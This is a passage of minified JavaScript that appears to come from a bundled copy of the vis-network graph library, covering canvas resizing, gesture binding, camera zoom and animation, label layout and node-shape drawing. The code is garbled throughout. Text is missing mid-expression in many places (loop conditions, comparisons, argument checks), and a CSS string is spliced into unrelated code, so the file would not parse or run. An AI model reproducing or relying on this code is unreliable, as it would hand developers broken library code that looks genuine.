C=0;C{t.width!==0&&(this.body.view.translation.x=t.width*.5),t.height!==0&&(this.body.view.translation.y=t.height*.5)}),this.body.emitter.on("setSize",X(e=this.setSize).call(e,this)),this.body.emitter.on("destroy",()=>{this.hammerFrame.destroy(),this.hammer.destroy(),this._cleanUp()})}setOptions(e){if(e!==void 0&&JA(["width","height","autoResize"],this.options,e),this._cleanUp(),this.options.autoResize===!0){var t;if(window.ResizeObserver){const C=new ResizeObserver(()=>{this.setSize()===!0&&this.body.emitter.emit("_requestRedraw")}),{frame:o}=this;C.observe(o),this._cleanupCallbacks.push(()=>{C.unobserve(o)})}else{const C=FK(()=>{this.setSize()===!0&&this.body.emitter.emit("_requestRedraw")},1e3);this._cleanupCallbacks.push(()=>{clearInterval(C)})}const i=X(t=this._onResize).call(t,this);window.addEventListener("resize",i),this._cleanupCallbacks.push(()=>{window.removeEventListener("resize",i)})}}_cleanUp(){var e,t,i;De(e=Un(t=ni(i=this._cleanupCallbacks).call(i,0)).call(t)).call(e,C=>{try{C()}catch(o){console.error(o)}})}_onResize(){this.setSize(),this.body.emitter.emit("_redraw")}_getCameraState(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.pixelRatio;this.initialized===!0&&(this.cameraState.previousWidth=this.frame.canvas.width/e,this.cameraState.previousHeight=this.frame.canvas.height/e,this.cameraState.scale=this.body.view.scale,this.cameraState.position=this.DOMtoCanvas({x:.5*this.frame.canvas.width/e,y:.5*this.frame.canvas.height/e}))}_setCameraState(){if(this.cameraState.scale!==void 0&&this.frame.canvas.clientWidth!==0&&this.frame.canvas.clientHeight!==0&&this.pixelRatio!==0&&this.cameraState.previousWidth>0&&this.cameraState.previousHeight>0){const e=this.frame.canvas.width/this.pixelRatio/this.cameraState.previousWidth,t=this.frame.canvas.height/this.pixelRatio/this.cameraState.previousHeight;let i=this.cameraState.scale;e!=1&&t!=1?i=this.cameraState.scale*.5*(e+t):e!=1?i=this.cameraState.scale*e:t!=1&&(i=this.cameraState.scale*t),this.body.view.scale=i;const C=this.DOMtoCanvas({x:.5*this.frame.canvas.clientWidth,y:.5*this.frame.canvas.clientHeight}),o={x:C.x-this.cameraState.position.x,y:C.y-this.cameraState.position.y};this.body.view.translation.x+=o.x*this.body.view.scale,this.body.view.translation.y+=o.y*this.body.view.scale}}_prepareValue(e){if(typeof e=="number")return e+"px";if(typeof e=="string"){if(Ge(e).call(e,"%")!==-1||Ge(e).call(e,"px")!==-1)return e;if(Ge(e).call(e,"%")===-1)return e+"px"}throw new Error("Could not use the value supplied for width or height:"+e)}_create(){for(;this.body.container.hasChildNodes();)this.body.container.removeChild(this.body.container.firstChild);if(this.frame=document.createElement("div"),this.frame.className="vis-network",this.frame.style.position="relative",this.frame.style.overflow="hidden",this.frame.tabIndex=0,this.frame.canvas=document.createElement("canvas"),this.frame.canvas.style.position="relative",this.frame.appendChild(this.frame.canvas),this.frame.canvas.getContext)this._setPixelRatio(),this.setTransform();else{const e=document.createElement("DIV");e.style.color="red",e.style.fontWeight="bold",e.style.padding="10px",e.innerText="Error: your browser does not support HTML canvas",this.frame.canvas.appendChild(e)}this.body.container.appendChild(this.frame),this.body.view.scale=1,this.body.view.translation={x:.5*this.frame.canvas.clientWidth,y:.5*this.frame.canvas.clientHeight},this._bindHammer()}_bindHammer(){this.hammer!==void 0&&this.hammer.destroy(),this.drag={},this.pinch={},this.hammer=new $A(this.frame.canvas),this.hammer.get("pinch").set({enable:!0}),this.hammer.get("pan").set({threshold:5,direction:$A.DIRECTION_ALL}),or(this.hammer,e=>{this.body.eventListeners.onTouch(e)}),this.hammer.on("tap",e=>{this.body.eventListeners.onTap(e)}),this.hammer.on("doubletap",e=>{this.body.eventListeners.onDoubleTap(e)}),this.hammer.on("press",e=>{this.body.eventListeners.onHold(e)}),this.hammer.on("panstart",e=>{this.body.eventListeners.onDragStart(e)}),this.hammer.on("panmove",e=>{this.body.eventListeners.onDrag(e)}),this.hammer.on("panend",e=>{this.body.eventListeners.onDragEnd(e)}),this.hammer.on("pinch",e=>{this.body.eventListeners.onPinch(e)}),this.frame.canvas.addEventListener("wheel",e=>{this.body.eventListeners.onMouseWheel(e)}),this.frame.canvas.addEventListener("mousemove",e=>{this.body.eventListeners.onMouseMove(e)}),this.frame.canvas.addEventListener("contextmenu",e=>{this.body.eventListeners.onContext(e)}),this.hammerFrame=new $A(this.frame),sw(this.hammerFrame,e=>{this.body.eventListeners.onRelease(e)})}setSize(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.options.width,t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.options.height;e=this._prepareValue(e),t=this._prepareValue(t);let i=!1;const C=this.frame.canvas.width,o=this.frame.canvas.height,s=this.pixelRatio;if(this._setPixelRatio(),e!=this.options.width||t!=this.options.height||this.frame.style.width!=e||this.frame.style.height!=t)this._getCameraState(s),this.frame.style.width=e,this.frame.style.height=t,this.frame.canvas.style.width="100%",this.frame.canvas.style.height="100%",this.frame.canvas.width=Math.round(this.frame.canvas.clientWidth*this.pixelRatio),this.frame.canvas.height=Math.round(this.frame.canvas.clientHeight*this.pixelRatio),this.options.width=e,this.options.height=t,this.canvasViewCenter={x:.5*this.frame.clientWidth,y:.5*this.frame.clientHeight},i=!0;else{const a=Math.round(this.frame.canvas.clientWidth*this.pixelRatio),l=Math.round(this.frame.canvas.clientHeight*this.pixelRatio);(this.frame.canvas.width!==a||this.frame.canvas.height!==l)&&this._getCameraState(s),this.frame.canvas.width!==a&&(this.frame.canvas.width=a,i=!0),this.frame.canvas.height!==l&&(this.frame.canvas.height=l,i=!0)}return i===!0&&(this.body.emitter.emit("resize",{width:Math.round(this.frame.canvas.width/this.pixelRatio),height:Math.round(this.frame.canvas.height/this.pixelRatio),oldWidth:Math.round(C/this.pixelRatio),oldHeight:Math.round(o/this.pixelRatio)}),this._setCameraState()),this.initialized=!0,i}getContext(){return this.frame.canvas.getContext("2d")}_determinePixelRatio(){const e=this.getContext();if(e===void 0)throw new Error("Could not get canvax context");let t=1;typeof window<"u"&&(t=window.devicePixelRatio||1);const i=e.webkitBackingStorePixelRatio||e.mozBackingStorePixelRatio||e.msBackingStorePixelRatio||e.oBackingStorePixelRatio||e.backingStorePixelRatio||1;return t/i}_setPixelRatio(){this.pixelRatio=this._determinePixelRatio()}setTransform(){const e=this.getContext();if(e===void 0)throw new Error("Could not get canvax context");e.setTransform(this.pixelRatio,0,0,this.pixelRatio,0,0)}_XconvertDOMtoCanvas(e){return(e-this.body.view.translation.x)/this.body.view.scale}_XconvertCanvasToDOM(e){return e*this.body.view.scale+this.body.view.translation.x}_YconvertDOMtoCanvas(e){return(e-this.body.view.translation.y)/this.body.view.scale}_YconvertCanvasToDOM(e){return e*this.body.view.scale+this.body.view.translation.y}canvasToDOM(e){return{x:this._XconvertCanvasToDOM(e.x),y:this._YconvertCanvasToDOM(e.y)}}DOMtoCanvas(e){return{x:this._XconvertDOMtoCanvas(e.x),y:this._YconvertDOMtoCanvas(e.y)}}}function YK(n,e){const t=ht({nodes:e,minZoomLevel:Number.MIN_VALUE,maxZoomLevel:1},n??{});if(!Re(t.nodes))throw new TypeError("Nodes has to be an array of ids.");if(t.nodes.length===0&&(t.nodes=e),!(typeof t.minZoomLevel=="number"&&t.minZoomLevel>0))throw new TypeError("Min zoom level has to be a number higher than zero.");if(!(typeof t.maxZoomLevel=="number"&&t.minZoomLevel<=t.maxZoomLevel))throw new TypeError("Max zoom level has to be a number higher than min zoom level.");return t}class UK{constructor(e,t){var i,C;this.body=e,this.canvas=t,this.animationSpeed=1/this.renderRefreshRate,this.animationEasingFunction="easeInOutQuint",this.easingTime=0,this.sourceScale=0,this.targetScale=0,this.sourceTranslation=0,this.targetTranslation=0,this.lockedOnNodeId=void 0,this.lockedOnNodeOffset=void 0,this.touchTime=0,this.viewFunction=void 0,this.body.emitter.on("fit",X(i=this.fit).call(i,this)),this.body.emitter.on("animationFinished",()=>{this.body.emitter.emit("_stopRendering")}),this.body.emitter.on("unlockNode",X(C=this.releaseNode).call(C,this))}setOptions(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};this.options=e}fit(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;e=YK(e,this.body.nodeIndices);const i=this.canvas.frame.canvas.clientWidth,C=this.canvas.frame.canvas.clientHeight;let o,s;if(i===0||C===0)s=1,o=Jt.getRange(this.body.nodes,e.nodes);else if(t===!0){let u=0;for(const m in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,m)&&this.body.nodes[m].predefinedPosition===!0&&(u+=1);if(u>.5*this.body.nodeIndices.length){this.fit(e,!1);return}o=Jt.getRange(this.body.nodes,e.nodes),s=12.662/(this.body.nodeIndices.length+7.4147)+.0964822;const p=Math.min(i/600,C/600);s*=p}else{this.body.emitter.emit("_resizeNodes"),o=Jt.getRange(this.body.nodes,e.nodes);const u=Math.abs(o.maxX-o.minX)*1.1,h=Math.abs(o.maxY-o.minY)*1.1,p=i/u,m=C/h;s=p<=m?p:m}s>e.maxZoomLevel?s=e.maxZoomLevel:s1&&arguments[1]!==void 0?arguments[1]:{};if(this.body.nodes[e]!==void 0){const i={x:this.body.nodes[e].x,y:this.body.nodes[e].y};t.position=i,t.lockedOnNode=e,this.moveTo(t)}else console.error("Node: "+e+" cannot be found.")}moveTo(e){if(e===void 0){e={};return}if(e.offset!=null){if(e.offset.x!=null){if(e.offset.x=+e.offset.x,!eA(e.offset.x))throw new TypeError('The option "offset.x" has to be a finite number.')}else e.offset.x=0;if(e.offset.y!=null){if(e.offset.y=+e.offset.y,!eA(e.offset.y))throw new TypeError('The option "offset.y" has to be a finite number.')}else e.offset.x=0}else e.offset={x:0,y:0};if(e.position!=null){if(e.position.x!=null){if(e.position.x=+e.position.x,!eA(e.position.x))throw new TypeError('The option "position.x" has to be a finite number.')}else e.position.x=0;if(e.position.y!=null){if(e.position.y=+e.position.y,!eA(e.position.y))throw new TypeError('The option "position.y" has to be a finite number.')}else e.position.x=0}else e.position=this.getViewPosition();if(e.scale!=null){if(e.scale=+e.scale,!(e.scale>0))throw new TypeError('The option "scale" has to be a number greater than zero.')}else e.scale=this.body.view.scale;e.animation===void 0&&(e.animation={duration:0}),e.animation===!1&&(e.animation={duration:0}),e.animation===!0&&(e.animation={}),e.animation.duration===void 0&&(e.animation.duration=1e3),e.animation.easingFunction===void 0&&(e.animation.easingFunction="easeInOutQuad"),this.animateView(e)}animateView(e){if(e===void 0)return;this.animationEasingFunction=e.animation.easingFunction,this.releaseNode(),e.locked===!0&&(this.lockedOnNodeId=e.lockedOnNode,this.lockedOnNodeOffset=e.offset),this.easingTime!=0&&this._transitionRedraw(!0),this.sourceScale=this.body.view.scale,this.sourceTranslation=this.body.view.translation,this.targetScale=e.scale,this.body.view.scale=this.targetScale;const t=this.canvas.DOMtoCanvas({x:.5*this.canvas.frame.canvas.clientWidth,y:.5*this.canvas.frame.canvas.clientHeight}),i={x:t.x-e.position.x,y:t.y-e.position.y};if(this.targetTranslation={x:this.sourceTranslation.x+i.x*this.targetScale+e.offset.x,y:this.sourceTranslation.y+i.y*this.targetScale+e.offset.y},e.animation.duration===0)if(this.lockedOnNodeId!=null){var C;this.viewFunction=X(C=this._lockedRedraw).call(C,this),this.body.emitter.on("initRedraw",this.viewFunction)}else this.body.view.scale=this.targetScale,this.body.view.translation=this.targetTranslation,this.body.emitter.emit("_requestRedraw");else{var o;this.animationSpeed=1/(60*e.animation.duration*.001)||1/60,this.animationEasingFunction=e.animation.easingFunction,this.viewFunction=X(o=this._transitionRedraw).call(o,this),this.body.emitter.on("initRedraw",this.viewFunction),this.body.emitter.emit("_startRendering")}}_lockedRedraw(){const e={x:this.body.nodes[this.lockedOnNodeId].x,y:this.body.nodes[this.lockedOnNodeId].y},t=this.canvas.DOMtoCanvas({x:.5*this.canvas.frame.canvas.clientWidth,y:.5*this.canvas.frame.canvas.clientHeight}),i={x:t.x-e.x,y:t.y-e.y},C=this.body.view.translation,o={x:C.x+i.x*this.body.view.scale+this.lockedOnNodeOffset.x,y:C.y+i.y*this.body.view.scale+this.lockedOnNodeOffset.y};this.body.view.translation=o}releaseNode(){this.lockedOnNodeId!==void 0&&this.viewFunction!==void 0&&(this.body.emitter.off("initRedraw",this.viewFunction),this.lockedOnNodeId=void 0,this.lockedOnNodeOffset=void 0)}_transitionRedraw(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1;this.easingTime+=this.animationSpeed,this.easingTime=e===!0?1:this.easingTime;const t=cG[this.animationEasingFunction](this.easingTime);if(this.body.view.scale=this.sourceScale+(this.targetScale-this.sourceScale)*t,this.body.view.translation={x:this.sourceTranslation.x+(this.targetTranslation.x-this.sourceTranslation.x)*t,y:this.sourceTranslation.y+(this.targetTranslation.y-this.sourceTranslation.y)*t},this.easingTime>=1){if(this.body.emitter.off("initRedraw",this.viewFunction),this.easingTime=0,this.lockedOnNodeId!=null){var i;this.viewFunction=X(i=this._lockedRedraw).call(i,this),this.body.emitter.on("initRedraw",this.viewFunction)}this.body.emitter.emit("animationFinished")}}getScale(){return this.body.view.scale}getViewPosition(){return this.canvas.DOMtoCanvas({x:.5*this.canvas.frame.canvas.clientWidth,y:.5*this.canvas.frame.canvas.clientHeight})}}var HK=`div.vis-network div.vis-navigation div.vis-button { +`),C=i.length;if(t.multi)for(let o=0;o0)for(let a=0;a0)for(let o=0;o/&/.test(C)?(t.replace(t.text,"<","<")||t.replace(t.text,"&","&")||t.add("&"),!0):!1;for(;t.position")||t.parseStartTag("ital","")||t.parseStartTag("mono","")||t.parseEndTag("bold","")||t.parseEndTag("ital","")||t.parseEndTag("mono",""))||i(C)||t.add(C),t.position++}return t.emitBlock(),t.blocks}splitMarkdownBlocks(e){const t=new Q0(e);let i=!0;const C=o=>/\\/.test(o)?(t.positionthis.parent.fontOptions.maxWdt}getLongestFit(e){let t="",i=0;for(;i1&&arguments[1]!==void 0?arguments[1]:"normal",i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;this.parent.getFormattingValues(this.ctx,this.selected,this.hover,t),e=e.replace(/^( +)/g,"$1\r"),e=e.replace(/([^\r][^ ]*)( +)/g,"$1\r$2\r");let C=e.split("\r");for(;C.length>0;){let o=this.getLongestFit(C);if(o===0){const s=C[0],a=this.getLongestFitWord(s);this.lines.newLine(Qg(s).call(s,0,a),t),C[0]=Qg(s).call(s,a)}else{let s=o;C[o-1]===" "?o--:C[s]===" "&&s++;const a=Qg(C).call(C,0,o).join("");o==C.length&&i?this.lines.append(a,t):this.lines.newLine(a,t),C=Qg(C).call(C,s)}}}}const QI=["bold","ital","boldital","mono"];class CC{constructor(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;this.body=e,this.pointToSelf=!1,this.baseSize=void 0,this.fontOptions={},this.setOptions(t),this.size={top:0,left:0,width:0,height:0,yLine:0},this.isEdgeLabel=i}setOptions(e){if(this.elementOptions=e,this.initFontOptions(e.font),Cr(e.label)?this.labelDirty=!0:e.label=void 0,e.font!==void 0&&e.font!==null){if(typeof e.font=="string")this.baseSize=this.fontOptions.size;else if(typeof e.font=="object"){const t=e.font.size;t!==void 0&&(this.baseSize=t)}}}initFontOptions(e){if(Ee(QI,t=>{this.fontOptions[t]={}}),CC.parseFontString(this.fontOptions,e)){this.fontOptions.vadjust=0;return}Ee(e,(t,i)=>{t!=null&&typeof t!="object"&&(this.fontOptions[i]=t)})}static parseFontString(e,t){if(!t||typeof t!="string")return!1;const i=t.split(" ");return e.size=+i[0].replace("px",""),e.face=i[1],e.color=i[2],!0}constrain(e){const t={constrainWidth:!1,maxWdt:-1,minWdt:-1,constrainHeight:!1,minHgt:-1,valign:"middle"},i=nn(e,"widthConstraint");if(typeof i=="number")t.maxWdt=Number(i),t.minWdt=Number(i);else if(typeof i=="object"){const o=nn(e,["widthConstraint","maximum"]);typeof o=="number"&&(t.maxWdt=Number(o));const s=nn(e,["widthConstraint","minimum"]);typeof s=="number"&&(t.minWdt=Number(s))}const C=nn(e,"heightConstraint");if(typeof C=="number")t.minHgt=Number(C);else if(typeof C=="object"){const o=nn(e,["heightConstraint","minimum"]);typeof o=="number"&&(t.minHgt=Number(o));const s=nn(e,["heightConstraint","valign"]);typeof s=="string"&&(s==="top"||s==="bottom")&&(t.valign=s)}return t}update(e,t){this.setOptions(e,!0),this.propagateFonts(t),Xe(this.fontOptions,this.constrain(t)),this.fontOptions.chooser=hu("label",t)}adjustSizes(e){const t=e?e.right+e.left:0;this.fontOptions.constrainWidth&&(this.fontOptions.maxWdt-=t,this.fontOptions.minWdt-=t);const i=e?e.top+e.bottom:0;this.fontOptions.constrainHeight&&(this.fontOptions.minHgt-=i)}addFontOptionsToPile(e,t){for(let i=0;i{s!==void 0&&(Object.prototype.hasOwnProperty.call(t,a)||(Le(QI).call(QI,a)!==-1?t[a]={}:t[a]=s))})}return t}getFontOption(e,t,i){let C;for(let o=0;o{o[l]=a}),o.size=Number(o.size),o.vadjust=Number(o.vadjust)}}draw(e,t,i,C,o){let s=arguments.length>5&&arguments[5]!==void 0?arguments[5]:"middle";if(this.elementOptions.label===void 0)return;let a=this.fontOptions.size*this.body.view.scale;this.elementOptions.label&&a=this.elementOptions.scaling.label.maxVisible&&(a=Number(this.elementOptions.scaling.label.maxVisible)/this.body.view.scale),this.calculateLabelSize(e,C,o,t,i,s),this._drawBackground(e),this._drawText(e,t,this.size.yLine,s,a))}_drawBackground(e){if(this.fontOptions.background!==void 0&&this.fontOptions.background!=="none"){e.fillStyle=this.fontOptions.background;const t=this.getSize();e.fillRect(t.left,t.top,t.width,t.height)}}_drawText(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:"middle",o=arguments.length>4?arguments[4]:void 0;[t,i]=this._setAlignment(e,t,i,C),e.textAlign="left",t=t-this.size.width/2,this.fontOptions.valign&&this.size.height>this.size.labelHeight&&(this.fontOptions.valign==="top"&&(i-=(this.size.height-this.size.labelHeight)/2),this.fontOptions.valign==="bottom"&&(i+=(this.size.height-this.size.labelHeight)/2));for(let s=0;s0&&(e.lineWidth=h.strokeWidth,e.strokeStyle=m,e.lineJoin="round"),e.fillStyle=p,h.strokeWidth>0&&e.strokeText(h.text,t+l,i+h.vadjust),e.fillText(h.text,t+l,i+h.vadjust),l+=h.width}i+=a.height}}}_setAlignment(e,t,i,C){if(this.isEdgeLabel&&this.fontOptions.align!=="horizontal"&&this.pointToSelf===!1){t=0,i=0;const o=2;this.fontOptions.align==="top"?(e.textBaseline="alphabetic",i-=2*o):this.fontOptions.align==="bottom"?(e.textBaseline="hanging",i+=2*o):e.textBaseline="middle"}else e.textBaseline=C;return[t,i]}_getColor(e,t,i){let C=e||"#000000",o=i||"#ffffff";if(t<=this.elementOptions.scaling.label.drawThreshold){const s=Math.max(0,Math.min(1,1-(this.elementOptions.scaling.label.drawThreshold-t)));C=Dg(C,s),o=Dg(o,s)}return[C,o]}getTextSize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1;return this._processLabel(e,t,i),{width:this.size.width,height:this.size.height,lineCount:this.lineCount}}getSize(){let t=this.size.left,i=this.size.top-.5*2;if(this.isEdgeLabel){const o=-this.size.width*.5;switch(this.fontOptions.align){case"middle":t=o,i=-this.size.height*.5;break;case"top":t=o,i=-(this.size.height+2);break;case"bottom":t=o,i=2;break}}return{left:t,top:i,width:this.size.width,height:this.size.height}}calculateLabelSize(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:0,o=arguments.length>4&&arguments[4]!==void 0?arguments[4]:0,s=arguments.length>5&&arguments[5]!==void 0?arguments[5]:"middle";this._processLabel(e,t,i),this.size.left=C-this.size.width*.5,this.size.top=o-this.size.height*.5,this.size.yLine=o+(1-this.lineCount)*.5*this.fontOptions.size,s==="hanging"&&(this.size.top+=.5*this.fontOptions.size,this.size.top+=4,this.size.yLine+=4)}getFormattingValues(e,t,i,C){const o=function(l,u,h){return u==="normal"?h==="mod"?"":l[h]:l[u][h]!==void 0?l[u][h]:l[h]},s={color:o(this.fontOptions,C,"color"),size:o(this.fontOptions,C,"size"),face:o(this.fontOptions,C,"face"),mod:o(this.fontOptions,C,"mod"),vadjust:o(this.fontOptions,C,"vadjust"),strokeWidth:this.fontOptions.strokeWidth,strokeColor:this.fontOptions.strokeColor};(t||i)&&(C==="normal"&&this.fontOptions.chooser===!0&&this.elementOptions.labelHighlightBold?s.mod="bold":typeof this.fontOptions.chooser=="function"&&this.fontOptions.chooser(s,this.elementOptions.id,t,i));let a="";return s.mod!==void 0&&s.mod!==""&&(a+=s.mod+" "),a+=s.size+"px "+s.face,e.font=a.replace(/"/g,""),s.font=e.font,s.height=s.size,s}differentState(e,t){return e!==this.selectedState||t!==this.hoverState}_processLabelText(e,t,i,C){return new KH(e,this,t,i).process(C)}_processLabel(e,t,i){if(this.labelDirty===!1&&!this.differentState(t,i))return;const C=this._processLabelText(e,t,i,this.elementOptions.label);this.fontOptions.minWdt>0&&C.width0&&C.height0&&(this.enableBorderDashes(e,t),e.stroke(),this.disableBorderDashes(e,t)),e.restore()}performFill(e,t){e.save(),e.fillStyle=t.color,this.enableShadow(e,t),OI(e).call(e),this.disableShadow(e,t),e.restore(),this.performStroke(e,t)}_addBoundingBoxMargin(e){this.boundingBox.left-=e,this.boundingBox.top-=e,this.boundingBox.bottom+=e,this.boundingBox.right+=e}_updateBoundingBox(e,t,i,C,o){i!==void 0&&this.resize(i,C,o),this.left=e-this.width/2,this.top=t-this.height/2,this.boundingBox.left=this.left,this.boundingBox.top=this.top,this.boundingBox.bottom=this.top+this.height,this.boundingBox.right=this.left+this.width}updateBoundingBox(e,t,i,C,o){this._updateBoundingBox(e,t,i,C,o)}getDimensionsFromLabel(e,t,i){this.textSize=this.labelModule.getTextSize(e,t,i);let C=this.textSize.width,o=this.textSize.height;const s=14;return C===0&&(C=s,o=s),{width:C,height:o}}}let QH=class extends gA{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.needsRefresh(t,i)){const C=this.getDimensionsFromLabel(e,t,i);this.width=C.width+this.margin.right+this.margin.left,this.height=C.height+this.margin.top+this.margin.bottom,this.radius=this.width/2}}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width/2,this.top=i-this.height/2,this.initContextForDraw(e,s),dm(e,this.left,this.top,this.width,this.height,s.borderRadius),this.performFill(e,s),this.updateBoundingBox(t,i,e,C,o),this.labelModule.draw(e,this.left+this.textSize.width/2+this.margin.left,this.top+this.textSize.height/2+this.margin.top,C,o)}updateBoundingBox(e,t,i,C,o){this._updateBoundingBox(e,t,i,C,o);const s=this.options.shapeProperties.borderRadius;this._addBoundingBoxMargin(s)}distanceToBorder(e,t){e&&this.resize(e);const i=this.options.borderWidth;return Math.min(Math.abs(this.width/2/Math.cos(t)),Math.abs(this.height/2/Math.sin(t)))+i}};class pu extends gA{constructor(e,t,i){super(e,t,i),this.labelOffset=0,this.selected=!1}setOptions(e,t,i){this.options=e,t===void 0&&i===void 0||this.setImages(t,i)}setImages(e,t){t&&this.selected?(this.imageObj=t,this.imageObjAlt=e):(this.imageObj=e,this.imageObjAlt=t)}switchImages(e){const t=e&&!this.selected||!e&&this.selected;if(this.selected=e,this.imageObjAlt!==void 0&&t){const i=this.imageObj;this.imageObj=this.imageObjAlt,this.imageObjAlt=i}}_getImagePadding(){const e={top:0,right:0,bottom:0,left:0};if(this.options.imagePadding){const t=this.options.imagePadding;typeof t=="object"?(e.top=t.top,e.right=t.right,e.bottom=t.bottom,e.left=t.left):(e.top=t,e.right=t,e.bottom=t,e.left=t)}return e}_resizeImage(){let e,t;if(this.options.shapeProperties.useImageSize===!1){let i=1,C=1;this.imageObj.width&&this.imageObj.height&&(this.imageObj.width>this.imageObj.height?i=this.imageObj.width/this.imageObj.height:C=this.imageObj.height/this.imageObj.width),e=this.options.size*2*i,t=this.options.size*2*C}else{const i=this._getImagePadding();e=this.imageObj.width+i.left+i.right,t=this.imageObj.height+i.top+i.bottom}this.width=e,this.height=t,this.radius=.5*this.width}_drawRawCircle(e,t,i,C){this.initContextForDraw(e,C),zl(e,t,i,C.size),this.performFill(e,C)}_drawImageAtPosition(e,t){if(this.imageObj.width!=0){e.globalAlpha=t.opacity!==void 0?t.opacity:1,this.enableShadow(e,t);let i=1;this.options.shapeProperties.interpolation===!0&&(i=this.imageObj.width/this.width/this.body.view.scale);const C=this._getImagePadding(),o=this.left+C.left,s=this.top+C.top,a=this.width-C.left-C.right,l=this.height-C.top-C.bottom;this.imageObj.drawImageAtPosition(e,i,o,s,a,l),this.disableShadow(e,t)}}_drawImageLabel(e,t,i,C,o){let s=0;if(this.height!==void 0){s=this.height*.5;const l=this.labelModule.getTextSize(e,C,o);l.lineCount>=1&&(s+=l.height/2)}const a=i+s;this.options.label&&(this.labelOffset=s),this.labelModule.draw(e,t,a,C,o,"hanging")}}let XH=class extends pu{constructor(e,t,i){super(e,t,i),this._setMargins(i)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.needsRefresh(t,i)){const C=this.getDimensionsFromLabel(e,t,i),o=Math.max(C.width+this.margin.right+this.margin.left,C.height+this.margin.top+this.margin.bottom);this.options.size=o/2,this.width=o,this.height=o,this.radius=this.width/2}}draw(e,t,i,C,o,s){this.resize(e,C,o),this.left=t-this.width/2,this.top=i-this.height/2,this._drawRawCircle(e,t,i,s),this.updateBoundingBox(t,i),this.labelModule.draw(e,this.left+this.textSize.width/2+this.margin.left,i,C,o)}updateBoundingBox(e,t){this.boundingBox.top=t-this.options.size,this.boundingBox.left=e-this.options.size,this.boundingBox.right=e+this.options.size,this.boundingBox.bottom=t+this.options.size}distanceToBorder(e){return e&&this.resize(e),this.width*.5}};class WH extends pu{constructor(e,t,i,C,o){super(e,t,i),this.setImages(C,o)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover;if(this.imageObj.src===void 0||this.imageObj.width===void 0||this.imageObj.height===void 0){const o=this.options.size*2;this.width=o,this.height=o,this.radius=.5*this.width;return}this.needsRefresh(t,i)&&this._resizeImage()}draw(e,t,i,C,o,s){this.switchImages(C),this.resize();let a=t,l=i;this.options.shapeProperties.coordinateOrigin==="top-left"?(this.left=t,this.top=i,a+=this.width/2,l+=this.height/2):(this.left=t-this.width/2,this.top=i-this.height/2),this._drawRawCircle(e,a,l,s),e.save(),e.clip(),this._drawImageAtPosition(e,s),e.restore(),this._drawImageLabel(e,a,l,C,o),this.updateBoundingBox(t,i)}updateBoundingBox(e,t){this.options.shapeProperties.coordinateOrigin==="top-left"?(this.boundingBox.top=t,this.boundingBox.left=e,this.boundingBox.right=e+this.options.size*2,this.boundingBox.bottom=t+this.options.size*2):(this.boundingBox.top=t-this.options.size,this.boundingBox.left=e-this.options.size,this.boundingBox.right=e+this.options.size,this.boundingBox.bottom=t+this.options.size),this.boundingBox.left=Math.min(this.boundingBox.left,this.labelModule.size.left),this.boundingBox.right=Math.max(this.boundingBox.right,this.labelModule.size.left+this.labelModule.size.width),this.boundingBox.bottom=Math.max(this.boundingBox.bottom,this.boundingBox.bottom+this.labelOffset)}distanceToBorder(e){return e&&this.resize(e),this.width*.5}}class on extends gA{constructor(e,t,i){super(e,t,i)}resize(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.selected,i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:this.hover,C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{size:this.options.size};if(this.needsRefresh(t,i)){var o,s;this.labelModule.getTextSize(e,t,i);const a=2*C.size;this.width=(o=this.customSizeWidth)!==null&&o!==void 0?o:a,this.height=(s=this.customSizeHeight)!==null&&s!==void 0?s:a,this.radius=.5*this.width}}_drawShape(e,t,i,C,o,s,a,l){return this.resize(e,s,a,l),this.left=C-this.width/2,this.top=o-this.height/2,this.initContextForDraw(e,l),RM(t)(e,C,o,l.size),this.performFill(e,l),this.options.icon!==void 0&&this.options.icon.code!==void 0&&(e.font=(s?"bold ":"")+this.height/2+"px "+(this.options.icon.face||"FontAwesome"),e.fillStyle=this.options.icon.color||"black",e.textAlign="center",e.textBaseline="middle",e.fillText(this.options.icon.code,C,o)),{drawExternalLabel:()=>{if(this.options.label!==void 0){this.labelModule.calculateLabelSize(e,s,a,C,o,"hanging");const u=o+.5*this.height+.5*this.labelModule.size.height;this.labelModule.draw(e,C,u,s,a,"hanging")}this.updateBoundingBox(C,o)}}}updateBoundingBox(e,t){this.boundingBox.top=t-this.options.size,this.boundingBox.left=e-this.options.size,this.boundingBox.right=e+this.options.size,this.boundingBox.bottom=t+this.options.size,this.options.label!==void 0&&this.labelModule.size.width>0&&(this.boundingBox.left=Math.min(this.boundingBox.left,this.labelModule.size.left),this.boundingBox.right=Math.max(this.boundingBox.right,this.labelModule.size.left+this.labelModule.size.width),this.boundingBox.bottom=Math.max(this.boundingBox.bottom,this.boundingBox.bottom+this.labelModule.size.height))}}function X0(n,e){var t=Je(n);if(si){var i=si(n);e&&(i=wt(i).call(i,function(C){return ri(n,C).enumerable})),t.push.apply(t,i)}return t}function qH(n){for(var e=1;e{e.save(),l(),e.restore()}}return a.nodeDimensions&&(this.customSizeWidth=a.nodeDimensions.width,this.customSizeHeight=a.nodeDimensions.height),a}distanceToBorder(e,t){return 